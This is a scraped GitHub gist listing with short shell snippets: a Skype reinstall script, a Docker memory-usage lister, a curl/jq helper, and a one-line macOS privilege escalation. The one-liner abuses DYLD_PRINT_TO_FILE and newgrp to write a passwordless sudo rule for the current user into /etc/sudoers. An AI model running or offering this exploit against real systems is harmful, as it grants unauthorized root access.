This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
sudo killall -9 skype | |
wget -q -O ~/skype-4.3.deb http://www.skype.com/go/getskype-linux-beta-ubuntu-64 && | |
sudo apt-get -y remove skype && | |
sudo dpkg -i ~/skype-4.3.deb | |
if [ $? -eq 0 ]; then | |
echo "\nSkype installed..\n" | |
fi | |
rm -f ~/skype-4.3.deb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Lists memory usage per Docker container | |
# | |
# FORMAT: | |
# | |
# IMAGE:TAG MEMORY_USAGE CONTAINER ID | |
for i in `find /sys/fs/cgroup/memory/docker/* -type d`; do | |
CONTAINER_ID=`echo $i | awk -F'/' '{print $7}'` | |
MEMORY_USAGE=$((`cat $i/memory.usage_in_bytes`/1024/1024)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install jq | |
echo 'curlj() { curl -s "$*" | jq "." }' >> ~/.zshrc | |
source ~/.zshrc | |
# curlj -XGET -u YOUR_GITHUB_USERNAME https://api.github.com/user/repos |
NewerOlder